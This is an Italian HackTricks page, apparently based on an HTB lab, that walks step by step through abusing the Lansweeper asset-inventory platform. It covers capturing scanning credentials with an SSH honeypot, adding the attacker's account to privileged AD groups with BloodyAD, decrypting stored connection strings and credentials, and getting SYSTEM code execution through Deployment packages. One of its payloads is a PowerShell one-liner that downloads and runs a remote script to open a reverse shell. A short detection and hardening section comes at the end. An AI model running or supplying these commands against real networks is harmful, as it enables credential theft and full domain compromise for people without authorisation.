Lansweeper Abuse: Raccolta credenziali, decrittazione dei segreti e RCE tramite Deployment
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Lansweeper è una piattaforma per il discovery e l'inventario degli asset IT comunemente distribuita su Windows e integrata con Active Directory. Le credenziali configurate in Lansweeper sono usate dai suoi motori di scansione per autenticarsi agli asset tramite protocolli come SSH, SMB/WMI e WinRM. Misconfigurazioni permettono frequentemente:
- Intercettazione delle credenziali reindirizzando un Scanning Target verso un host controllato dall'attaccante (honeypot)
- Abuso delle ACL di Active Directory esposte dai gruppi legati a Lansweeper per ottenere accesso remoto
- Decrittazione on-host dei segreti configurati in Lansweeper (connection strings e credenziali di scanning memorizzate)
- Esecuzione di codice su endpoint gestiti tramite la feature Deployment (spesso in esecuzione come SYSTEM)
Questa pagina riassume workflow pratici dell'attaccante e comandi per sfruttare questi comportamenti durante gli engagement.
1) Harvest scanning credentials via honeypot (SSH example)
Idea: crea uno Scanning Target che punti al tuo host e associa ad esso le Scanning Credentials esistenti. Quando la scansione verrĂ eseguita, Lansweeper tenterĂ di autenticarsi con quelle credenziali e il tuo honeypot le catturerĂ .
Steps overview (web UI):
- Scanning â Scanning Targets â Add Scanning Target
- Type: IP Range (or Single IP) = il tuo IP VPN
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
- Disable schedule and plan to trigger manually
- Scanning â Scanning Credentials â assicurati che esistano credenziali Linux/SSH; mappale al nuovo target (abilita tutte quelle necessarie)
- Click âScan nowâ on the target
- Run an SSH honeypot and retrieve the attempted username/password
Example with sshesame:
# sshesame.conf
server:
listen_address: 10.10.14.79:2022
# Install and run
sudo apt install -y sshesame
sshesame --config sshesame.conf
# Expect client banner similar to RebexSSH and cleartext creds
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
Validare i creds catturati contro i servizi DC:
# SMB/LDAP/WinRM checks (NetExec)
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
Note
- Funziona in modo analogo per altri protocolli quando puoi forzare lo scanner verso il tuo listener (SMB/WinRM honeypots, ecc.). SSH è spesso il piÚ semplice.
- Molti scanner si identificano con distinti banner del client (es., RebexSSH) e tenteranno comandi benigni (uname, whoami, ecc.).
2) AD ACL abuse: ottenere accesso remoto aggiungendoti a un gruppo app-admin
Usa BloodHound per enumerare i diritti effettivi dall'account compromesso. Una scoperta comune è un gruppo specifico dello scanner o dell'app (es., âLansweeper Discoveryâ) che detiene GenericAll su un gruppo privilegiato (es., âLansweeper Adminsâ). Se il gruppo privilegiato è anche membro di âRemote Management Usersâ, WinRM diventa disponibile una volta che ci aggiungiamo.
Collection examples:
# NetExec collection with LDAP
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
# RustHound-CE collection (zip for BH CE import)
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
Sfruttare GenericAll su un gruppo con BloodyAD (Linux):
# Add our user into the target group
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
add groupMember "Lansweeper Admins" svc_inventory_lnx
# Confirm WinRM access if the group grants it
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
Quindi ottieni una shell interattiva:
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
Suggerimento: Le operazioni Kerberos sono sensibili al tempo. Se ricevi KRB_AP_ERR_SKEW, sincronizza l'orologio con il DC prima:
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
3) Decrittare i segreti configurati da Lansweeper sull'host
Sul server Lansweeper, il sito ASP.NET tipicamente memorizza una connection string crittografata e una chiave simmetrica utilizzata dall'applicazione. Con accesso locale adeguato, è possibile decrittare la connection string del DB e quindi estrarre le credenziali di scansione memorizzate.
Posizioni tipiche:
- Web config:
C:\Program Files (x86)\Lansweeper\Website\web.config
<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">
âŚ<EncryptedData>âŚ
- Application key:
C:\Program Files (x86)\Lansweeper\Key\Encryption.txt
Usare SharpLansweeperDecrypt per automatizzare la decrittazione e l'estrazione delle credenziali memorizzate:
# From a WinRM session or interactive shell on the Lansweeper host
# PowerShell variant
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
# Tool will:
# - Decrypt connectionStrings from web.config
# - Connect to Lansweeper DB
# - Decrypt stored scanning credentials and print them in cleartext
L'output previsto include dettagli di connessione al DB e credenziali di scansione in testo chiaro come account Windows e Linux utilizzati nell'intera infrastruttura. Tali credenziali spesso hanno privilegi locali elevati sugli host di dominio:
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
Inventory Linux svc_inventory_lnx <StrongPassword!>
Usa le Windows scanning creds recuperate per ottenere accesso privilegiato:
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
4) Lansweeper Deployment â SYSTEM RCE
Come membro di âLansweeper Adminsâ, l'interfaccia web espone Deployment e Configuration. Sotto Deployment â Deployment packages, puoi creare pacchetti che eseguono comandi arbitrari sugli asset target. L'esecuzione è effettuata dal servizio Lansweeper con privilegi elevati, ottenendo code execution come NT AUTHORITY\SYSTEM sull'host selezionato.
High-level steps:
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
- Catch your shell as SYSTEM.
Esempi di payload (PowerShell):
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
# Reverse shell example (adapt to your listener)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
OPSEC
- Le azioni di deployment sono rumorose e lasciano tracce in Lansweeper e negli event log di Windows. Usarle con giudizio.
Rilevamento e hardening
- Limitare o rimuovere le enumerazioni SMB anonime. Monitorare il RID cycling e gli accessi anomali alle condivisioni di Lansweeper.
- Controlli di egress: bloccare o limitare fortemente le connessioni outbound SSH/SMB/WinRM dai host scanner. Allertare su porte non standard (p.es., 2022) e banner client insoliti come Rebex.
- Proteggere
Website\\web.config
eKey\\Encryption.txt
. Esternalizzare i segreti in un vault e ruotarli in caso di esposizione. Considerare service account con privilegi minimi e gMSA quando possibile. - Monitoraggio AD: allertare su modifiche ai gruppi legati a Lansweeper (p.es., âLansweeper Adminsâ, âRemote Management Usersâ) e su cambiamenti alle ACL che concedono GenericAll/Write membership su gruppi privilegiati.
- Audit delle creazioni/modifiche/esecuzioni dei Deployment package; allertare su package che avviano cmd.exe/powershell.exe o su connessioni outbound inaspettate.
Argomenti correlati
- Enumerazione SMB/LSA/SAMR e RID cycling
- Kerberos password spraying e considerazioni sul clock skew
- Analisi dei path con BloodHound per i gruppi application-admin
- Uso di WinRM e lateral movement
Riferimenti
- HTB: Sweep â Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)
- sshesame (SSH honeypot)
- SharpLansweeperDecrypt
- BloodyAD
- BloodHound CE
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.